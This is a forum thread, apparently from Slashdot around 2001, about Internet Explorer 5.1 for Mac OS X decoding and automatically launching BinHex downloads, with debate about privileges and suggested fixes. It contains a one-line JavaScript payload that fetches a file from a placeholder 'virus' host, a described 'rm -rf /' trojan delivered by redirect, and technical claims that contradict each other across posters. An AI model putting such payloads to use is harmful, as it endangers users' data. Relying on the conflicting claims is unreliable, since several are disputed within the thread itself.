[sugarbomb]

Classic is not run as root, it's run as the user who is logged in. Classic can freely write to "System Folder", where the classic system lives, but it cannot write to anywhere inside /System, where all the important things live. Classic user would not be able to add itself to the X startup
But, you could easily add to the Classic system startup, and cause lots of havoc there ..

Re:Not true

[Auckerman]

"Classic is not run as root, it's run as the user who is logged in"

[localhost:Classic Startup.app/Contents/Resources] login% pwd
/System/Library/CoreServices/Classic Startup.app/Contents/Resources
[localhost:Classic Startup.app/Contents/Resources] login% ls -la TruBlueEnvironment
-rwsr-xr-x 1 root wheel 476740 Sep 26 20:04 TruBlueEnvironment

Sure looks like it's setuid root to me.

Re:Not true

[darkonc]

If the file is owned by root and the setuid bit is set, then executing it will get root priveledges. However: the classic code may (probably does) abdicate it's root privs whenever it runs a piece of user code.

The fact that the program is setuid isn't a gaping security hole. It just has the potential to be a gaping securit hole, if it's written by someone from Microsoft.

Re:Not true

[binarybits]

Um, this is me on a Mac OS X v10.1 box...

tlee@mybox % ps aux | grep TruBlu
tlee 299 5.4 26.5 1106840 34676 ?? R 25:50.39 /System/Library/CoreServices/Classic Startup.app/Contents/Resources/TruBlueEnvironment

Looks like it's running as my user to me...

Re:I really don't see what the problem is.

[Graymalkin]

Yeah but alot of .hqx files automatically run install scripts when they are expanded. You could pretty easily stick something inside a .hqx that wipes out ~/ or infects a file. However you're right. Slashdot sees something that is sort of not even really anti-microsoft and jumps all over it. I haven't been seeing too many Mac novices running out and installing OSX on their systems. Anyone who's been using Macs even for just a little while knows better than to have archives expand as soon as they're downloaded.

Re:Thanks, Apple

[Chester K]

I do have one question, though... being a Unix-derrived OS, does the average user on a Mac OS X system have sufficent privlages to destroy anything outside of his home directory?

Probably not, but when it comes down to brass tacks, the part of the system that stings the user the most when it gets damaged is the user's data, which is accessible to the user and fair game to a trojan horse/virus/backdoor.

I'm only out an hour if I just have to reinstall the OS. I'm out possibly several months if my data gets wiped out and I don't back up (like the average user).

It's not quite THAT bad...

[Millennium]

...though I will admit, it's pretty dismal.

Administrator-class users [i]do [/i]have to authenticate to save their changes to the NetInfo database.

The real problem is sudo. Any Administrator-class user can use sudo on anything they want. That is, obviously, an obscenely huge hole. But it's not quite as bad as you make it sound. Still dire, but there's no need to exaggerate it even further than it already is.

Re:It's not quite THAT bad...

[iso]

This is why anybody using Mac OS X should comment out the line:

%admin ALL=(ALL) ALL

in their /etc/sudoers file. The vast majority of Mac users won't miss sudo, and those who do need root privileges can enable the root account through NetInfo, add their account to the "wheel" group, and use su instead of sudo.

...or you should live with it, but ensure that your main account is a non-administrator account.

- j

Re:IE Flaw

[Daniel Dvorkin]

Actually, I did read the article. IIRC, the author points out that file and creator type are not part of the Mac's resource fork, but rather its data fork. So while such information is certainly metadata, there's no good reasons that other OS's shouldn't be able to interpret Mac file type information. (Application type is a little trickier, I admit, but that should be information which a user is free to ignore anyway.)

I strongly agree with the author's contention that suffixes are a lousy way to identify file type, and as a long-term Mac guy, I'm dismayed that MacOS X (which is in almost every other respect a great OS) is moving so strongly in the direction of suffix-identified files.

In any case, none of that is directly relevant here. The IE flaw has to do with the Mac as a file client, not a server.

Re:...As I read this article using said browser

[usfGPM]

I believe that Stuffit expander doesn't "execute" the hqx files it downloads, as much as it "processes" them.

Example: When you download a copy of a program through IE and Stuffit Expander automatically runs after the download completes, the program you downloaded doesn't automatically run after Stuffit quits. You have to double click or open the uncompressed program for it to execute. Therein lies the problem with this version of IE--it executes programs after they are downloaded. See the difference?

Re:Well!

[DrSkwid]

1. video drivers in the kernel

2. NT4 is no longer a microsoft product see here

"Effective October 1, 2001, Windows NT Server 4.0, Windows NT 4.0, Enterprise Edition, and Windows NT 4.0 Client Access Licenses (CALs), will no longer be available through volume licensing programs"

skwid

pop-up virus?

[aralin]

windows.open("http://virus.com/takeit.hqx");

Does anyone else remember how new windows with binary files turn automatically in download of the file? You don't even have to start the download yourself. Just browse on some site...

Re:...As I read this article using said browser

[hearingaid]

IE5 on OS9 (what I'm using :) automagically extracts .hqx and .bin files.

This is a cool feature. It avoids the annoying StuffIt! wait when the expander process is spawned.

Of course, I have Virex enabled, so I get that wait imposed on me.

Incidentally, Fetch (an FTP client) does too. (It also automagically extracts .gz and .tar files. This is really irritating when I'm just transferring my gzips to the iMac for burning. but oh well. :)

Re:Intrinsic Security in OS X - It's even worse...

[sakusha]

I think a very important point to make here is that by default, the user you set up when installing Mac OS X is an administrative user and not only that is automatically logged in when the computer boots. So obviously ~99% of the Mac OS X boxes out there are vulnerable to this bug.

You are incorrect. The default user does not have any root privileges, you have to specifically enable them. The rest of your assertions are equally bullshit. You must enable root to change anything in NetInfo Manager.
A few messages down from this is some more misinformation. Classic mode apps run as user, not root. No gaping security hole there either.
So will you guys give MacOS X a chance, and at least make SOME attempt to verify the accuracy of your statements before slagging on the product? MacOS X is your friend, Apple is now the largest Unix vendor in the world.

Re:Not M$

[Winged Cat]

the Microsoft Macintosh Business unit, which is a somewhat independent MS arm

If only that were true. It is correct that large corporations are actually a bunch of smaller companies bound together as "business units" in an attempt to get them to play nice together, but Microsoft is bound closer than most such businesses, with the top leading by example.

As evidence, take their uniformly poor attitude towards security...and their applying features from games to other software (one can get obsessed about a game and learn all its controls, and if it crashes, one can just pick up from the last save; this mantra has problems when applied to, say, office software). Also see "embrace and extend" used across the board, to varying degrees of success.

Re:Well, yeah.

[Viadd]

...most users would turn it off...

Except that the checkboxes say Automatically decode binhex files, they don't say ... and execute them without warning. The first would be a nice feature. The second is a security hole of Gatesian proportions.

The real reason

[Anonymous Coward]

After usibility testing with average Mac users explaining how downloaded files need to be stored somewhere and then doubleclicked to execute, Microsoft said "fuck it" and made it automatic.

Design a computer for an moron, and only morons will use it.

Replace IE On Any System

[PRickard]

For a full list of replacements for Internet Explorer on any computer system, check out the Internet Explorer listing on MSBC's The Alternative. It's worth a read to see just how many IE replacements are available, quite a few of them for Macs.

Re:Wouldn't you think

[Junta]

But people might not realize they are downloading something until it is too late. an onLoad directive to load a file, or an embed, or simply a disguised link that most people wouldn't bother checking..

Solution

[KFury]

1. Create script to toggle 'autoexec .hqx downloads' to FALSE
   
2. Insert the file into the X-10 popup banner

Problem solved.

Not Stuffit's Fault

[Brownian Motion]

It is not Stuffit. It's Internet Explorer de-binhexing and executing the coded app all on it's own. Since you mention Stuffit, I'm not sure you understand what is going on as Stuffit does not have this behavior (nor is it involved).

It's not a feature of OS X (or the OS's fault in any way). I never noticed the beta-IE (used in OS 10.0[0-4] doing this, and I used it throughout. I rarely booted into OS 9 when OS X came out, and I used the beta fairly extensively as well.

IE is auto-decoding a binhex, then if it's an application, automatically executing it. No other version of IE does this. No other mac internet app does either. Others will auto-decode files for you, but leave it to you to launch them.

Sure, you can turn off the binhex pref, but without the added "feature" it is not a security risk to simply de-binhex a file (probably less dangerous than uu-decoding). Even a savvy user who perused every setting wouldn't know to uncheck "automatically decode binhex" to turn off a feature that's so stupid one wonders why someone would bother coding it (automatically running dl'd apps).

Now Stuffit has it's own security risk. By default, it will auto-mount any disk image it decodes. A disk image can be set to automatically launch an app when loaded. Hence, Stuffit can be made to do what IE is doing in a roundabout way. Personally, I think this "feature" should be turned off for disk images as well.

I use the slowest G4, and I've not noticed Stuffit being a hog, though it is annoying. It ripped through the 189 MB dev tool installer in a few seconds.

IE has other problems as well. It will reset my Internet prefs (usually just the dl folder, but sometimes it will set itself as the default web app). Just use Omniweb, and you get a nice spell checker to spell check your posts (I know I need it).

New slogan

[Lumpy]

I'm gonna be maked at -5 flamebait for this...

Microsoft, Helping people root boxes cince 1983 and now with cross platform capabilities built specifically for Macintosh OS 10!

not just IE..tis a mac thing

[fjordboy]

Interesting note: When I use the macs at my high school (G4's), IE never seems to work for them, so I always use Netscape. However, I also like to check my email using the macs, and there is no telnet application on these macs, and I can't install NCSA telnet on them because everything on the computer is locked. However, I found a way around it. When I download the hqx version of NCSA, it autoinstalls, bypassing "foolproof" security. I still can't use the telnet app unless I call it up through netscape using telnet: . I just thought this was interesting...because it isn't just IE that does it...it is the stupid hqx and stuffit expander things. I would definitely disable those options. (If I could...but the security features don't let me change anything!)

Re:Well!

[Telek]

1. video drivers in the kernel

And if they weren't then you'd be yelling about how the video performace is so slow.

What's the bloody deal? If you install a crappy video driver even if it's not in the kernel is has hardware access which means that it can toast the system. So don't install crappy video drivers.

NT4 is no longer a microsoft product

you have an interesting interpretation of "discontinued". It does NOT mean that it's no longer a MS product, it just means that they're not supporting it anymore (which makes sense).

Apple directly competes with MS...

[SiMac]

Apple does work on non-MS office suites! AppleWorks! It's non-MS and it's actually a very good product...one of the first OSX native applications. I ran it all the way back on the public beta...Also, Apple worked on Mail, which competes with OE.

Execution

[garoush]

"...it automatically executes them."

Now if an "executed" program is STILL a security risk -- I don't know how we can ever be secure.

Re:Tried it. Does nothing

[sugarbomb]

launched automatically for me, but only when Classic was running ... sounds like Classic MacOS is the weak link

Simple fix for the problem

[DragonPup]

Under IE5.1 Final for OS X, go into it's preferences. Under the Recieving Files catagory, choose Download Options. There's 2 checked items by default. 'Automatically decode BinHex' and 'Automatically decode MacBinary'. Uncheck them both and hit ok. IE will now send those files over to Stuffit Expander, like it should. Easy, isn't it?

-Henry

Durable backup

[xixax]

User files should not be a problem. The same files would also be toast if the hard drive died. If people are not backing up to a durable medium (hey, they all ship with CD burners don't they?), they don't really care about their data.

I'd like to see a virus capble of erasing CD-Rs kept in a locked filing cabinet.

Xix.

Step back and smell the irony

[1stmammaltowearpants]

We're talking about a Microsoft product running in Unix that came pre-installed with the Mac OS.

These are strange times, my friends.

All users will eventually run the executable

[acomj]

I think the autoexecution is a dumb idea...

but seriously, your downloading an execuable, its being decompressed.
You can run it now, or run it later when you launch it....

Some Mac users don't diferentiate executables and documents. They often double click on executables and documents. The mac stores file type and application to run with documents (at least up to 9.x) so it knows which application to run. Many mac users use documents to launch their programs (a more doc-u-centric approach)

The danger here is people may think they are downloading a data file, when its an executable. most people don't check. The pc sircam virus uses this technique to trick users into launching it, so its not a unique "mac" problem.

Watch what you download..!

On the plus side the Unixy features of OSX should prevent it from hosing your system, you just have to worry about your documents...

Re:All users will eventually run the executable

[RoninM]

Sounds like a major bug in Unix, to me.

...that you can't hose the system, but can hose your own files? I'll admit that users are dumb and capabilities could help, but they're not a panacea. Users do dumb things. A user doing something stupid can invalidate any security model. With capabilities, the problem is that there's a trade-off between security and functionality. If you give executables the read capability, you can still have something like SirCam. If you give it TCP caps, your machine can be used as a node in a DDoS or attempt to trojan other computers. If you give them write caps, you're back to where you were before: all of your data is insecure. If you give it execute caps, it can run another program that does something bad, anyway. So your default caps for securely running executables are no read, no write, no execute, and no Internet connectivity. So in order to do pretty much _anything_ with the program you downloaded, you need to change its caps.

At this point, what's the difference between simply not downloading and running something you don't trust?

Re:All users will eventually run the executable

[cpt kangarooski]

True -- a user can often work around any security, particularly around the lax amount that is preferred for otherwise optimal working conditions.

But -- It seems fairly unusual that you would need to give any given downloaded executable access to everything across the board. What does Photoshop need with rwx to my mail? Why would I give a calculator program access to the network? I'm simply saying that there should be more granularity. Without the user at the console manually doing it, most programs do not need access to certain reserved files (e.g. for programs not already explicitly trusted by the admin, it's probably safe to forbid writes to .cshrc) or to files of a different type than they create or work with (e.g. textfiles to a graphics editor).

Will this stop all malicious software? No, of course not. But it will further tighten the noose, and provide resources for a user or admin who wants to cut off the air supply to some of that such software. It also at least helps to constrain the amount of damage that parasitic malware can do -- if Outlook were restricted to write access to its own mail files, network connectivity, and the ability to read files that the user at the console had attached, it can screw with your mail, but at least it's not going to wipe out your textfiles.

I'm really not trolling here; it seems to me that once you get through the single layer of security protecting the user, as so many things do, you're giving who knows what the keys to the castle. Further compartmentalization, at least the possibility of it if the user desires it, seems reasonable.

two points to be made

[crayz]

First let me say this is totally unacceptable. However:
1) The app only starts automatically if you just click on the link. If you option-click(what I usually do when I want to download a file). It doesn't autostart it. When you option-click you are basically telling the browser "save this file to my HD", when you just normally click, you are saying "show me this file"(so like a PDF will download to the HD and then be opened). Still obviously it should not automatically open apps.
2) This is only for Classic apps. The reason this is good is that I usually don't have Classic open(because it sucks). So when I click this, it automatically starts opening Classic(which takes 30-45 seconds). If during that time I just click to stop opening Classic, the program never runs.

Re:But why the HELL...

[IronChef]

It's not the decoding of binhex files that's a problem. The Mac has been automagically uncompressing downloads for a long time, but the automatic launching of a new executable is a lovely new Microsoftism.

Re:But why the HELL...

[BlowCat]

It's ON by default because it's convenient for users to decode hex files automatically. By the way, Pine (UNIX mailer) decodes MIME attachments by default and it doesn't make it less secure.

There is nothing wrong in decoding files by default. The problem is with running them without asking the user. That's a Microsoft specialty, also seen in Outlook.

Re:In walks the Sandman ready to kick your ass

[Graymalkin]

Weird how easily i set IE NOT to execute the output of a BinHex and MacBinary file by just going into preferences. People were equating BinHex with SEA or something which it isn't. It is just a fork packager. I've never had IE execute anything on download anyhow and neither do most people.

Re:In walks the Sandman ready to kick your ass

[Graymalkin]

All the browsers have had the feature to automatically launch a binhexed file for a long time. What the site doesn't point out which is blatantly obvious is that this is not seen as a design flaw since you're not randomly downloading shit off the internet. You have to choose to download it and IE also allows you to set whether or not you want BinHex or MacBinary files run after they're downloaded. The fact this was labeled a huge security hole and blamed enitrely on Microsoft is ridiculous. Users who don't pay better attention to what they're downloading end up fucked in any event regardless of IE.

It's a matter of who expects what

[jayed_99]

There seems to be some confusion about what a standard UNIX user expects and what a standard Macintosh or Windows user expects.

To make a very rough analogy, an .HQX file is normally treated like a smart .tgz file.

If I download a .tgz on a Unix box, I expect to decompress it twice, build it and install it. No smarts on the computer's part at all -- it's all with the me.

If I download an .HQX on a Mac, I expect that if it's a compressed application (.SIT) I'll end up with an executable on my desktop. If it's not an aplication (PDF file, text file -- whatever...think "file associations") I expect it to be decompressed and run by the appropriate app -- I'm assumed to be vaugely intelligent, but the computer picks up the technical slack.

If I download a .(WHATEVER) file on a Windows machine, I expect that something will happen -- but I'm not always sure what -- I'm expected to be happy with whatever the computer does.

UNIX users are expected to know what they're doing. Most of the time Mac users aren't expected to care what's going on as long as everything works for them. Windows users are expected to go along what the computer does (think "smart tags").

This seems to be an instance of developers forgetting that, even though this is a Microsoft product, it's being run on a UNIX machine by Macintosh users.

Wow are you way off...

[MO!]

Fact #1: MacOS X is based on FreeBSD 3.2 wrapped around a Mach microkernel.

Fact #2: FreeBSD does not use a Mach kernel.

Fact #3: The /etc/master.passwd file on a MacOS X system has nothing of value. It's there for legacy needs and has just the normal "shell=/bin/noshell" accounts as well as the disabled root account in it. To get useful information, you have to do a NetInfo dump of whatever class your looking for, in this case the encrypted passwd info.

Fact #4: The unix-like, BSD family, portion that makes up the base of MacOS X is not proprietary - it's called Darwin and is open and downloadable in source form (even ported to Intel). Only the upper level graphics system is closed. It's kinda like running a proprietary X Windows system on top of Linux.

Finally, Fact #5: Although there are some proprietary BSD-based OS's, the majority of the proprietary Unix OS's are based on AT&T->Novell->SCO->The OpenGroup code - not on BSD.

Please investigate your claims before boasting such innaccuracies.

That's not the security hole...

[jmegq]

I wholeheartedly agree that this is incorrect behavior, but as I tried to convince my devils-advocating self that it was a major security flaw, I kept losing.

If you click on a link to a binhex'd file, and it's an application, then normally it gets un-binhex'd for you. Well and good. Now what's the next thing you do? Without fail, it is to double-click on the decoded file. Not to check the file in any way, compare fingerprints or whatnot. You go and double-click the file, opening it up. If it's a trojan, you lose.

Some may argue "well, but what if it says it's a picture file, but turns out to be a trojaned app?" Doesn't matter; I can set the app's icon to look like that of a picture file, and you're just as screwed when you double-click on it.

So what about automating the double-click makes this a "huge security hole"? It seems like once you've downloaded the thing, you're already toast.

Please note that I'm not trying to gloss over the wrongness of the auto-launch, but rather to point out that we need some better form of security systemwide.

Re:That's not the security hole...

[mr3038]

So what about automating the double-click makes this a "huge security hole"? It seems like once you've downloaded the thing, you're already toast.

The difference is when you follow a link on a page and there's .hqx file instead of an another page you would have expected. In the non-braindead browser you just download the file, but in this case it's already executed before you notice it wasn't a normal page. Especially if the program in question is a small C program with only a 'rm -rf /' system call - download is practically instant and with fast filesystem all the files are gone before you even regocnize what happened.

Yeah, everybody checks status bar with every link before pressing mouse button and javascript isn't ever used to fake link type.

Imagine the following situation: you have heard of a cool application for you shiny OS X and look for it from a search engine. First hit returned looks like the correct one and you click the link. It turns out that the page wasn't the correct one and only happened to have the words that triggered the search. However, there's a javascript code that opens new windows or redirects you to another url... an url that contains desctructive code enclosed in a .hqx file. And your browser executes that file immediatly! Do you feel lucky?

What if the code that runs doesn't do anything immediatly but sleeps for example 10 minutes before starting destruction? In worst case you don't have any hint you have started a background program and 10 minutes later while you're reading slashdot your system get's trashed! Would you think that it was slashdot that killed your system?

Re:That's not the security hole...

[jmegq]

Excellent point; I thought of that 5 minutes after posting... thanks for articulating it well!

Re:But why the HELL...

[Ungrounded Lightning]

It's not the decoding of binhex files that's a problem. The Mac has been automagically uncompressing downloads for a long time, but the automatic launching of a new executable is a lovely new Microsoftism.

Sorry. What I meant was "why the HELL was the launching of the binaries turned on by default?".

I didn't read the post closely enough to realize that the workaround wasn't to turn off the autolaunch but to turn off a step, innoctuous in itself, that was a precursor to the launch.

This implies that there isn't an easy way to turn off the launch. Even worse...

Re:But why the HELL...

[Stephen Samuel]

Perhaps Microsoft wanted to prove that even if you're on a *NIX box, you can still get goatsexed by having a Microsoft product installed.

I wonder what someone's rationale would be for that:"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!".

This is a Microsoft product, and a security issue. What does rationale have to do with it?

/etc/passwd isn't used on Mac OS X.

[jcr]

jcr@localhost:~>cat /etc/passwd
##
# User Database
#
# Note that this file is consulted when the system is running in single-user
# mode. At other times this information is handled by lookupd. By default,
# lookupd gets information from NetInfo, so this file will not be consulted
# unless you have changed lookupd's configuration.
##
nobody:*:-2:-2:Unprivileged User:/nohome:/noshell
root:*:0:0:System Administrator:/var/root:/bin/tcsh
daemon:*:1:1:System Services:/var/root:/noshell
www:*:70:70:World Wide Web Server:/Library/WebServer:/noshell
unknown:*:99:99:Unknown User:/nohome:/noshell

One possible workaround..

[jcr]

Let's see. If Internet Exploder is setuid "nobody", then won't any processes it forks inherit that?

Not that this affects me, anyhow. The first thing I do after installing OS X is always to trash IE.

-jcr

with emphasis

[darkonc]

Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

He didn't say that getting the local geek to spend hours reinstalling software would be easy, or that the geek wouldn't figure he had much more interesting things to spend his time and energy on... Just that it would pale in comparison to recovering all of the lost work and communications (presuming that there wasn't a reasonable backup process in place -- now that's something you should assign a geek to spend a few hours on!).

Re:with emphasis

[weave]

OK, point taken. I, as you can tell, am overly sensitive to this topic.

Applications on all PC-type platforms tend to default to horrible insecure modes with the attitude that the desktop computer itself has little need to be secured. That's a horrible attitude and drains productivity. It's a real problem.

But being an IT nazi isn't a solution I am comfortable with either. So we did our best to come up with a best-overall solution. The user gets to choose who manages their PC. Them or us. If them, then we give them local admin rights and if anything fails for whatever reason, our only action will be to reformat and reinstall to the state we gave it to them (still a pain but beats spending hours debugging issues with some crap program they installed). If they have data they value, they save it on a network drive. No PCs are backed up.

Maybe it was the term geek that set me off. The term geek is like so many racial slurs. It's OK if used within the ethnic group by the group members, but no one outside of that group better utter the word! I couldn't tell whether the original poster was himself a geek or not :)

Re:Well!

[Telek]

It's 5 years old! What do you expect?

If it was that big of a problem, couldn't you have just ordered more client licences prior to them closing support/sales for it?

I don't think that it's fair to expect a company to support an old product indefinitely.

Re:Here's the fix (no sarcastic anti-MS comment he

[DrXym]

With hindsight it's easy assuming you know to look for such an option and you're not afraid to play with dialog box settings, but I doubt most people including experts would think even MS (after the roasting they've gotten in the last 2 years) would be so dumb as to enable such a feature by default. Probably the first most people would know of it is after it happens. By then it could be too late.

The problem is exacerbated because frankly most Mac users don't want to know how their computers work - that's why they're using a Mac - and put absolute faith in their OS and their programs to protect them from themselves.

stuff stuffit, open up!

[andya16]

hate how stuffit mangles your downloads? try openup for everthing except your .sit downloads.
you have to change the application to launch your .tgz etc. files (via the information panel--apple+I), but once you do that, your set.

WHAT??

[Godwin O'Hitler]

A security flaw in a Microsoft product???? Impossible! I'm not even going to read the article.

I....LOVE....THIS....COMPANYYYYYYYYYY!!!

Why only IE?

[ZigMonty]

What I want to know is why is Apple only bundling IE with MacOSX? There are plenty of good browsers for MacOSX. Hell, they're all better than IE. I've got Opera, Netscape 6.1, Mozilla, and my personal favorite OmniWeb (Must try iCab). Apple used to bundle both Netscape and IE, why the change? OK, I'm not suggesting they bundle Netscape, it *really* sucks for MacOSX. But how about OmniWeb or Opera? Some choice would be good. Yes, I know that the user could download another browser, but how many novices would? They've got plenty more room on the CD. It seems like Apple signed a black deal with microsoft.

Flame On!

[Stephen Samuel]

If ever proof was needed that Microsloth didn't give a rat's ass about security, I think that this event pretty much proves it. This isn't even an "oops, we mised that overflow in an arcane piece of code I hope nobody notices it" kind of bug. This is a "hey, Mikie, you got an aircraft carrier I can test this security hole with?" kind of bug.

Any sort of a security audit. Any securit audit whatsoever would have resulted in a screaming meanie fit over this bug.

The only reason why this isn't gonna land Microsoft in court is that anybody who has the money it would take to rake them over the legal coals and test their absurd EULA with it would have 15 financial advisers paid to remind them that there are far better money pits to throw their cash into.

The only way tha Microsoft could save face on this one would be to admit that they inserted this hole willfully and/or maliciously because -- if they let a security bug this massive through by accident, there is no way that we should trust them to write any code in a sane and secure manner.

FLAME OFF
(that feels much better)

Bringing Outlook insecurity to the Mac Community

[cryptochrome]

Is it just me, or does this behavior sound suspiciously familiar to one Microsoft Outlook which has a tendency to automatically execute hidden scripts, allowing viruses to propagate with unprecedented ease?

I guess they didn't want the Mac users to feel left out on the fun.

Shades of MSN 1.0

[hatless]

What IE 5.1 for the Mac should be doing is decoding the Binhexed file and then handing the decoded file back to its (IE's) MIME and Mac creator handler again, as though it were the original downloaded file, and apply the appropriate rules, whether to save, launch, or whatever.

In other words, if the normal behavior when encountering an image/tiff file is to open it in Photoshop, then that is what should happen to a binhexed TIFF. If it's an .sit from Stuffit, Stuffit Expander might be launched. If it's an Excel spreadsheet and the preferences are set to open those, then open it it should.

The problem here is that it sounds like IE is handing the decoded file to OS X's "file open" handler (the call made when double-clicking an icon in the Finder) instead of to IE's "file download" handler, which checks MIME-handling rules and security zones set in IE and systemwide preferences.

Not unlike an incident I remember back in 1995 during the Windows 95 betas, when the original webless MSN was opened to content developers. It used a Windows Explorer metaphor, with online content organized as folders and icons. Content providers were encouraged to post RTF documents as content, but any file was fair game. Thing was, when users double-cliked on files to open them, they were treated like local files. Some of the earliest Word macro viruses got spread this way. I remember being shown this at a beta developers' convention before the first macro viruses even hit and asking if it could pass opened files through the user's virus scanner before opening them. "No, we hadn't thought of that," said an engineer. Horrified looks and some intensive scribbling on notepads followed, though nothing was done in time for launch beyond a useless request to content providers that they try to scan things for viruses before posting them.

Simple solution

[Tassach]

• create an ie user account & group
• add all your real users to the ie group
• set the setuid bit on the ie executable
• move everything that ie needs to be able to write into it's own directory; chown everything in that directory to ie (preferably on a filesystem that's mounted with noexec & nosetuid).
• Make everything in this directory group-writable so that normal users can use it without difficulty
• make sure that you don't have anything important that's world-writable or -readable

for the extra paranoid, set up a chroot jail for it

Doing it this way, IE will always run as an unprivilidged user. If it does execute any rogue code, it will also be run as the unprivilidged user, and will therefore be constrained to the sandbox you set up for it.

Re:Simple solution

[Tassach]

Disabling the feature will protect you against THIS attack. Running IE suid as an unpriviliged user will protect you against FUTURE, unknown attacks as well.

This probably violates my NDA, but....

[Lagos]

I used to work in the MacBU at Microsoft and my officemate was on the Mac IE team.

One day we were experimenting with the download behavior of IE, and I noticed the problem. We discussed it and later brought it up to the higher ups on the team during lunch (The food in the Silicon Valley Campus Café is much better than Redmond's by the way):

"If a malicious web site designer were to use some method of redirection to get the browser to download a .hqx binary, the user might not even know that IE was downloading unless they watched the download manager very closely," I said. I believe some other members of the team had already noticed the problem as well.

We all agreed this was a serious security hole and it is being fixed in the next release.

In the meantime, you can turn off the "Automically decode BinHex files" under Download Options in the Explorer Preferences. We tested Mac IE's behavior with MacBinary files and there is no security hole there.

How did this bug slip by the team? Well, I am not on the IE team, so I couldn't say for certain. I believe the problem is that after IE uses its own .hqx decoding functionality, it should try to process the resulting file. This is good as it allows one to download and unstuff a .sit.hqx archive automatically.

Somehow this behavior was fubared, however: Instead of passing the file back through IE's file helper layer, it was apparently opened directly. This has acceptable behavior if the file downloaded was happyapp.sit.hqx, but not-so-acceptable behavior if the file downloaded is evilevilapp.hqx.

Anyway, someone clearly messed up. We're very sorry. Or rather, they are since I probably won't get rehired after this message.

--
Lagos
Gentle Bunny

What is hilarious..

[Sheepdot]

Stuffit expander already unzips/decodes files.

Stuffit expander does not *run* the application, **BUT** what exactly is the next thing that someone does once they download said item?

Unless they are downloading trojans or viruses in a compressed format, this is actually cutting out an extra step.

And to be completely honest, if you think users are going to *hate* this, you need to hang around Mac consumers a bit more often.

And finally, I challenge any of you here to come up with a Mac trojan that works on OS X. If you can, and post a URL within the next 5 days, I'll click on it with our OSX IE5 Macintosh at work.

I'd like to see people actually start creating viruses for the Mac. It'd make my job more important.

Re:Not M$

[binarybits]

Have you ever actually *used* IE 5 for Mac? It's a damn good browser-- better than anything Netscape makes and on par with IE 5.5 for Windoze. In a lot of ways it's better than IE 5.5-- it's more standards compliant, and isn't full of proprietary hooks into the OS like it is with Windoze.

Microsoft might not pour as much money into IE for Mac as it does for Windows, but it certainly isn't a bad browswer. IMHO it's the best browser on the Mac platform.

Re:Easiest way to own an OSX box...

[Tassach]

Unfortunatly, all an attacker has to do to defeat a BIOS password is to a) open the box and close the bios reset jumper or b) move the hard disk to another machine.

The only way to guard your data against physical compromise of the hardware is to store anything sensetive on a strongly encrypted filesystem which is mounted as necessary -- preferably on removable media which is physically secured when the machine is unattended. Even this isn't absolute, because a smart attacker could stealthily subvert your system (EG hardware keystroke logger, trojaned executables, etc) to capture your encryption key & passphrase. Tamper-evident seals on the hardware will help protect against this, as will anti-tamper software like tripwire.

Basically, if your physical security is compromised, you're screwed.

And to think..

[Ogerman]

Just a year ago, Linux folk were still clamoring that they wanted a port of IE. I'd say the latest Konqueror and Mozilla have been worth the wait.